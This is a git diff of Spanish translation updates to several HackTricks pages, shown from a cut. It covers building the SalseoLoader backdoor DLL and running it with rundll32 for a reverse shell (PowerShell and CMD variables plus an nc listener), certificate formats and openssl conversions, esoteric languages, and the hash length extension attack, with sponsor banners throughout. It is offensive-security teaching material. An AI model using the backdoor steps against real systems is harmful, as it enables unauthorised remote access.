+Luego, ve a tu **carpeta SalseoLoader** y **ejecuta DllExport\_Configure.bat**
-Selecciona **x64** (si lo vas a usar dentro de una caja x64, ese fue mi caso), selecciona **System.Runtime.InteropServices** (dentro de **Namespace para DllExport**) y presiona **Aplicar**
+Selecciona **x64** (si vas a usarlo dentro de una caja x64, ese fue mi caso), selecciona **System.Runtime.InteropServices** (dentro de **Namespace for DllExport**) y presiona **Aplicar**
![](<../.gitbook/assets/image (882).png>)
### **Abre el proyecto nuevamente con Visual Studio**
-**\[DllExport]** ya no debería estar marcado como error
+**\[DllExport]** no debería estar marcado como error
![](<../.gitbook/assets/image (670).png>)
-### Compila la solución
+### Compilar la solución
Selecciona **Tipo de salida = Biblioteca de clases** (Proyecto --> Propiedades de SalseoLoader --> Aplicación --> Tipo de salida = Biblioteca de clases)
![](<../.gitbook/assets/image (847).png>)
-Selecciona **plataforma x64** (Proyecto --> Propiedades de SalseoLoader --> Compilar --> Destino de la plataforma = x64)
+Selecciona **plataforma x64** (Proyecto --> Propiedades de SalseoLoader --> Compilación --> Objetivo de plataforma = x64)
![](<../.gitbook/assets/image (285).png>)
Para **compilar** la solución: Compilar --> Compilar solución (Dentro de la consola de salida aparecerá la ruta de la nueva DLL)
-### Prueba la DLL generada
+### Probar la Dll generada
-Copia y pega la DLL donde quieras probarla.
+Copia y pega la Dll donde quieras probarla.
Ejecuta:
```
rundll32.exe SalseoLoader.dll,main
```
-Si no aparece ningún error, ¡probablemente tienes un DLL funcional!
+Si no aparece ningún error, ¡probablemente tengas un DLL funcional!
-## Obtener un shell usando el DLL
+## Obtén un shell usando el DLL
-No olvides usar un **servidor HTTP** y configurar un **escucha nc**
+No olvides usar un **servidor** **HTTP** y configurar un **listener** **nc**
### Powershell
```
@@ -158,8 +159,6 @@ $env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main
```
-### CMD
-
### CMD
```
set pass=password
@@ -169,16 +168,17 @@ set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
```
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Apoya a HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+{% endhint %}
diff --git a/crypto-and-stego/certificates.md b/crypto-and-stego/certificates.md
index fe5227010..45abb2770 100644
--- a/crypto-and-stego/certificates.md
+++ b/crypto-and-stego/certificates.md
@@ -1,58 +1,59 @@
# Certificados
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Aprende hacking en AWS desde cero hasta experto conhtARTE (HackTricks AWS Red Team Expert)!
+Apoya a HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+{% endhint %}
\
-Utiliza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
-¡Accede hoy mismo:
+Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las **herramientas comunitarias más avanzadas** del mundo.\
+Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
-## ¿Qué es un Certificado
+## ¿Qué es un Certificado?
-Un **certificado de clave pública** es una identificación digital utilizada en criptografía para demostrar que alguien es dueño de una clave pública. Incluye los detalles de la clave, la identidad del propietario (el sujeto) y una firma digital de una autoridad de confianza (el emisor). Si el software confía en el emisor y la firma es válida, es posible una comunicación segura con el propietario de la clave.
+Un **certificado de clave pública** es una identificación digital utilizada en criptografía para probar que alguien posee una clave pública. Incluye los detalles de la clave, la identidad del propietario (el sujeto) y una firma digital de una autoridad de confianza (el emisor). Si el software confía en el emisor y la firma es válida, es posible la comunicación segura con el propietario de la clave.
-Los certificados son emitidos principalmente por [autoridades de certificación](https://en.wikipedia.org/wiki/Certificate\_authority) (CAs) en una configuración de [infraestructura de clave pública](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI). Otro método es la [red de confianza](https://en.wikipedia.org/wiki/Web\_of\_trust), donde los usuarios verifican directamente las claves de los demás. El formato común para los certificados es [X.509](https://en.wikipedia.org/wiki/X.509), que puede adaptarse a necesidades específicas según lo descrito en el RFC 5280.
+Los certificados son emitidos principalmente por [autoridades de certificación](https://en.wikipedia.org/wiki/Certificate\_authority) (CAs) en una configuración de [infraestructura de clave pública](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI). Otro método es la [web de confianza](https://en.wikipedia.org/wiki/Web\_of\_trust), donde los usuarios verifican directamente las claves de los demás. El formato común para los certificados es [X.509](https://en.wikipedia.org/wiki/X.509), que puede adaptarse a necesidades específicas como se detalla en el RFC 5280.
## Campos Comunes de x509
### **Campos Comunes en Certificados x509**
-En los certificados x509, varios **campos** desempeñan roles críticos para garantizar la validez y seguridad del certificado. Aquí tienes un desglose de estos campos:
+En los certificados x509, varios **campos** juegan roles críticos en asegurar la validez y seguridad del certificado. Aquí hay un desglose de estos campos:
-* El **Número de Versión** indica la versión del formato x509.
-* El **Número de Serie** identifica de forma única el certificado dentro del sistema de una Autoridad de Certificación (CA), principalmente para el seguimiento de revocaciones.
-* El campo **Sujeto** representa al propietario del certificado, que puede ser una máquina, un individuo o una organización. Incluye una identificación detallada como:
+* **Número de Versión** significa la versión del formato x509.
+* **Número de Serie** identifica de manera única el certificado dentro del sistema de una Autoridad de Certificación (CA), principalmente para el seguimiento de revocaciones.
+* El campo **Sujeto** representa al propietario del certificado, que podría ser una máquina, un individuo o una organización. Incluye identificación detallada como:
* **Nombre Común (CN)**: Dominios cubiertos por el certificado.
-* **País (C)**, **Localidad (L)**, **Estado o Provincia (ST, S o P)**, **Organización (O)** y **Unidad Organizativa (OU)** proporcionan detalles geográficos y organizativos.
-* El **Nombre Distinguido (DN)** encapsula la identificación completa del sujeto.
-* El **Emisor** detalla quién verificó y firmó el certificado, incluyendo subcampos similares al Sujeto para la CA.
-* El **Período de Validez** está marcado por marcas de tiempo de **No Antes** y **No Después**, asegurando que el certificado no se use antes o después de una fecha determinada.
+* **País (C)**, **Localidad (L)**, **Estado o Provincia (ST, S, o P)**, **Organización (O)** y **Unidad Organizativa (OU)** proporcionan detalles geográficos y organizativos.
+* **Nombre Distinguido (DN)** encapsula la identificación completa del sujeto.
+* **Emisor** detalla quién verificó y firmó el certificado, incluyendo subcampos similares al Sujeto para la CA.
+* El **Período de Validez** está marcado por las marcas de tiempo **No Antes** y **No Después**, asegurando que el certificado no se use antes o después de una cierta fecha.
* La sección de **Clave Pública**, crucial para la seguridad del certificado, especifica el algoritmo, tamaño y otros detalles técnicos de la clave pública.
-* Las **extensiones x509v3** mejoran la funcionalidad del certificado, especificando **Uso de Clave**, **Uso Extendido de Clave**, **Nombre Alternativo del Sujeto** y otras propiedades para ajustar la aplicación del certificado.
+* Las **extensiones x509v3** mejoran la funcionalidad del certificado, especificando **Uso de Clave**, **Uso de Clave Extendida**, **Nombre Alternativo del Sujeto** y otras propiedades para afinar la aplicación del certificado.
#### **Uso de Clave y Extensiones**
* **Uso de Clave** identifica las aplicaciones criptográficas de la clave pública, como firma digital o cifrado de clave.
-* **Uso Extendido de Clave** reduce aún más los casos de uso del certificado, por ejemplo, para autenticación de servidor TLS.
+* **Uso de Clave Extendida** delimita aún más los casos de uso del certificado, por ejemplo, para autenticación de servidor TLS.
* **Nombre Alternativo del Sujeto** y **Restricción Básica** definen nombres de host adicionales cubiertos por el certificado y si es un certificado de CA o de entidad final, respectivamente.
-* Identificadores como **Identificador de Clave del Sujeto** e **Identificador de Clave de Autoridad** garantizan la singularidad y trazabilidad de las claves.
-* **Acceso a la Información de la Autoridad** y **Puntos de Distribución de la Lista de Revocación (CRL)** proporcionan rutas para verificar la CA emisora y verificar el estado de revocación del certificado.
-* **CT Precertificate SCTs** ofrecen registros de transparencia, cruciales para la confianza pública en el certificado.
+* Identificadores como **Identificador de Clave del Sujeto** y **Identificador de Clave de la Autoridad** aseguran la unicidad y trazabilidad de las claves.
+* **Acceso a Información de la Autoridad** y **Puntos de Distribución de CRL** proporcionan rutas para verificar la CA emisora y comprobar el estado de revocación del certificado.
+* **SCTs de Precertificado CT** ofrecen registros de transparencia, cruciales para la confianza pública en el certificado.
```python
# Example of accessing and using x509 certificate fields programmatically:
from cryptography import x509
@@ -74,41 +75,41 @@ print(f"Issuer: {issuer}")
print(f"Subject: {subject}")
print(f"Public Key: {public_key}")
```
-### **Diferencia entre Puntos de Distribución OCSP y CRL**
+### **Diferencia entre OCSP y Puntos de Distribución CRL**
-**OCSP** (**RFC 2560**) implica que un cliente y un respondedor trabajen juntos para verificar si un certificado de clave pública digital ha sido revocado, sin necesidad de descargar la **CRL** completa. Este método es más eficiente que la tradicional **CRL**, que proporciona una lista de números de serie de certificados revocados pero requiere la descarga de un archivo potencialmente grande. Las CRL pueden incluir hasta 512 entradas. Más detalles están disponibles [aquí](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm).
+**OCSP** (**RFC 2560**) implica que un cliente y un respondedor trabajen juntos para verificar si un certificado digital de clave pública ha sido revocado, sin necesidad de descargar el **CRL** completo. Este método es más eficiente que el **CRL** tradicional, que proporciona una lista de números de serie de certificados revocados pero requiere descargar un archivo potencialmente grande. Los CRL pueden incluir hasta 512 entradas. Más detalles están disponibles [aquí](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm).
-### **¿Qué es la Transparencia de Certificados?**
+### **Qué es la Transparencia de Certificados**
-La Transparencia de Certificados ayuda a combatir las amenazas relacionadas con certificados al garantizar que la emisión y existencia de certificados SSL sean visibles para los propietarios de dominios, las Autoridades de Certificación y los usuarios. Sus objetivos son:
+La Transparencia de Certificados ayuda a combatir amenazas relacionadas con certificados al garantizar que la emisión y existencia de certificados SSL sean visibles para los propietarios de dominios, CAs y usuarios. Sus objetivos son:
-* Evitar que las Autoridades de Certificación emitan certificados SSL para un dominio sin el conocimiento del propietario del dominio.
+* Prevenir que las CAs emitan certificados SSL para un dominio sin el conocimiento del propietario del dominio.
* Establecer un sistema de auditoría abierto para rastrear certificados emitidos por error o de manera maliciosa.
* Proteger a los usuarios contra certificados fraudulentos.
#### **Registros de Certificados**
-Los registros de certificados son registros públicamente auditables y de solo adición de certificados, mantenidos por servicios de red. Estos registros proporcionan pruebas criptográficas con fines de auditoría. Tanto las autoridades de emisión como el público pueden enviar certificados a estos registros o consultarlos para su verificación. Aunque el número exacto de servidores de registro no está fijo, se espera que sea inferior a mil a nivel mundial. Estos servidores pueden ser gestionados de forma independiente por Autoridades de Certificación, proveedores de servicios de Internet o cualquier entidad interesada.
+Los registros de certificados son registros auditables públicamente, de solo adición, de certificados, mantenidos por servicios de red. Estos registros proporcionan pruebas criptográficas para fines de auditoría. Tanto las autoridades de emisión como el público pueden enviar certificados a estos registros o consultarlos para verificación. Aunque el número exacto de servidores de registro no es fijo, se espera que sea menos de mil a nivel mundial. Estos servidores pueden ser gestionados de manera independiente por CAs, ISPs o cualquier entidad interesada.
#### **Consulta**
-Para explorar los registros de Transparencia de Certificados de cualquier dominio, visita [https://crt.sh/](https://crt.sh).
+Para explorar los registros de Transparencia de Certificados para cualquier dominio, visita [https://crt.sh/](https://crt.sh).
-Diferentes formatos existen para almacenar certificados, cada uno con sus propios casos de uso y compatibilidad. Este resumen cubre los principales formatos y proporciona orientación sobre cómo convertir entre ellos.
+Existen diferentes formatos para almacenar certificados, cada uno con sus propios casos de uso y compatibilidad. Este resumen cubre los formatos principales y proporciona orientación sobre la conversión entre ellos.
## **Formatos**
### **Formato PEM**
-* Formato más ampliamente utilizado para certificados.
+* Formato más utilizado para certificados.
* Requiere archivos separados para certificados y claves privadas, codificados en Base64 ASCII.
* Extensiones comunes: .cer, .crt, .pem, .key.
-* Principalmente utilizado por servidores Apache y similares.
+* Utilizado principalmente por Apache y servidores similares.
### **Formato DER**
* Un formato binario de certificados.
-* Carece de las declaraciones "BEGIN/END CERTIFICATE" que se encuentran en archivos PEM.
+* Carece de las declaraciones "BEGIN/END CERTIFICATE" que se encuentran en los archivos PEM.
* Extensiones comunes: .cer, .der.
* A menudo utilizado con plataformas Java.
@@ -116,7 +117,7 @@ Diferentes formatos existen para almacenar certificados, cada uno con sus propio
* Almacenado en Base64 ASCII, con extensiones .p7b o .p7c.
* Contiene solo certificados y certificados de cadena, excluyendo la clave privada.
-* Compatible con Microsoft Windows y Java Tomcat.
+* Soportado por Microsoft Windows y Java Tomcat.
### **Formato PFX/P12/PKCS#12**
@@ -126,7 +127,7 @@ Diferentes formatos existen para almacenar certificados, cada uno con sus propio
### **Conversión de Formatos**
-Las **conversiones PEM** son esenciales para la compatibilidad:
+**Las conversiones PEM** son esenciales para la compatibilidad:
* **x509 a PEM**
```bash
@@ -148,7 +149,7 @@ openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
```
-**Conversiones PFX** son cruciales para gestionar certificados en Windows:
+**Las conversiones PFX** son cruciales para gestionar certificados en Windows:
* **PFX a PEM**
```bash
@@ -168,7 +169,7 @@ openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
```
-2. Convertir CER y Clave Privada a PFX
+2. Convertir CER y clave privada a PFX
```bash
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
```
@@ -177,21 +178,22 @@ openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certif
\
-Utilice [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\
-Obtenga acceso hoy:
+Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las **herramientas comunitarias más avanzadas** del mundo.\
+Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Aprenda hacking en AWS de cero a héroe conhtARTE (Experto en Equipos Rojos de AWS de HackTricks)!
+Apoya a HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si desea ver su **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtenga el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubra [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Únase al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síganos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparta sus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+{% endhint %}
diff --git a/crypto-and-stego/esoteric-languages.md b/crypto-and-stego/esoteric-languages.md
index de2923886..1b8083bdc 100644
--- a/crypto-and-stego/esoteric-languages.md
+++ b/crypto-and-stego/esoteric-languages.md
@@ -1,18 +1,21 @@
# Lenguajes esotéricos
+{% hint style="success" %}
+Aprende y practica AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Aprende y practica GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Aprende hacking en AWS de cero a héroe conhtARTE (Experto en Red Team AWS de HackTricks)!
+Apoya a HackTricks
-* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+{% endhint %}
-## [Wiki de Esolangs](https://esolangs.org/wiki/Main\_Page)
+## [Esolangs Wiki](https://esolangs.org/wiki/Main\_Page)
Consulta esa wiki para buscar más lenguajes esotéricos
@@ -61,8 +64,6 @@ Whisper my world
{% embed url="https://codewithrockstar.com/" %}
## PETOOH
-
-PETOOH es un lenguaje de programación esotérico inspirado en el idioma ruso. Utiliza solo cinco palabras clave basadas en sonidos de animales para escribir programas.
```
KoKoKoKoKoKoKoKoKoKo Kud-Kudah
KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah
@@ -72,14 +73,17 @@ KoKoKoKo Kud-Kudah KoKoKoKo kudah kO kud-Kudah kO Kukarek
kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO
Kukarek
```
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Aprende hacking en AWS de cero a héroe conhtARTE (Experto en Equipo Rojo AWS de HackTricks)!
+Apoya a HackTricks
-* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+{% endhint %}
diff --git a/crypto-and-stego/hash-length-extension-attack.md b/crypto-and-stego/hash-length-extension-attack.md
index 808990d87..5e84f0c40 100644
--- a/crypto-and-stego/hash-length-extension-attack.md
+++ b/crypto-and-stego/hash-length-extension-attack.md
@@ -1,28 +1,29 @@
-# Ataque de Extensión de Longitud de Hash
+# Hash Length Extension Attack
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Aprende hacking en AWS desde cero hasta experto conhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
#### [WhiteIntel](https://whiteintel.io)
-[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
+[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
-El objetivo principal de WhiteIntel es combatir tomas de cuentas y ataques de ransomware resultantes de malwares que roban información.
+Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
-Puedes visitar su sitio web y probar su motor de búsqueda de forma **gratuita** en:
+Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
{% embed url="https://whiteintel.io" %}
@@ -30,28 +31,28 @@ Puedes visitar su sitio web y probar su motor de búsqueda de forma **gratuita**
## Resumen del ataque
-Imagina un servidor que está **firmando** algunos **datos** al **añadir** un **secreto** a algunos datos de texto claro conocidos y luego hasheando esos datos. Si conoces:
+Imagina un servidor que está **firmando** algunos **datos** al **agregar** un **secreto** a algunos datos de texto claro conocidos y luego hasheando esos datos. Si sabes:
-* **La longitud del secreto** (esto también se puede obtener por fuerza bruta desde un rango de longitud dado)
+* **La longitud del secreto** (esto también se puede forzar a partir de un rango de longitud dado)
* **Los datos de texto claro**
* **El algoritmo (y es vulnerable a este ataque)**
-* **El relleno es conocido**
-* Por lo general se usa uno predeterminado, por lo que si se cumplen los otros 3 requisitos, esto también lo está
-* El relleno varía dependiendo de la longitud del secreto+datos, por eso se necesita la longitud del secreto
+* **El padding es conocido**
+* Usualmente se usa uno por defecto, así que si se cumplen los otros 3 requisitos, esto también se cumple
+* El padding varía dependiendo de la longitud del secreto + datos, por eso se necesita la longitud del secreto
-Entonces, es posible para un **atacante** **añadir** **datos** y **generar** una firma válida para los **datos anteriores + datos añadidos**.
+Entonces, es posible que un **atacante** **agregue** **datos** y **genere** una **firma** válida para los **datos anteriores + datos agregados**.
### ¿Cómo?
-Básicamente, los algoritmos vulnerables generan los hashes primero **hasheando un bloque de datos**, y luego, **a partir** del **hash creado previamente** (estado), **añaden el siguiente bloque de datos** y lo **hashean**.
+Básicamente, los algoritmos vulnerables generan los hashes primero **hasheando un bloque de datos**, y luego, **a partir** del **hash** (estado) **creado previamente**, **agregan el siguiente bloque de datos** y **lo hashean**.
Entonces, imagina que el secreto es "secreto" y los datos son "datos", el MD5 de "secretodata" es 6036708eba0d11f6ef52ad44e8b74d5b.\
-Si un atacante quiere añadir la cadena "añadir" puede:
+Si un atacante quiere agregar la cadena "agregar", puede:
* Generar un MD5 de 64 "A"s
-* Cambiar el estado del hash inicializado previamente a 6036708eba0d11f6ef52ad44e8b74d5b
-* Añadir la cadena "añadir"
-* Finalizar el hash y el hash resultante será uno **válido para "secreto" + "datos" + "relleno" + "añadir"**
+* Cambiar el estado del hash previamente inicializado a 6036708eba0d11f6ef52ad44e8b74d5b
+* Agregar la cadena "agregar"
+* Terminar el hash y el hash resultante será un **válido para "secreto" + "datos" + "padding" + "agregar"**
### **Herramienta**
@@ -65,24 +66,25 @@ Puedes encontrar este ataque bien explicado en [https://blog.skullsecurity.org/2
-[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
+[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
-El objetivo principal de WhiteIntel es combatir tomas de cuentas y ataques de ransomware resultantes de malwares que roban información.
+Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
